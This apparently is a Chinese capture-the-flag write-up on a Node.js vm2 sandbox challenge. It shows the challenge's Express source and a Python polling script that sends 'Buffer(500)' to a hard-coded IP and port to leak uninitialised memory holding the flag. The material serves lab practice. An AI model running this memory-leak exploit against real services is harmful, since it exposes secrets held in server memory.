打開網頁，代碼審計，通過vm能猜測是關于node.js沙箱逃逸：

"use strict";var randomstring = require("randomstring"); var express = require("express"); var {VM } = require("vm2"); var fs = require("fs");var app = express(); var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/* Orange is so kind so he put the flag here. But if you can guess correctly :P */eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());} });app.listen(3000, function() {console.log("listening on port 3000!"); });

用buffer()：

# encoding=utf-8import requests import time url = 'http://111.200.241.244:53000/?data=Buffer(500)' response = '' while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)time.sleep(0.1)if 'flag{' in response:print(response)break

拿到flag：

總結：
node.js的沙箱逃逸

總結

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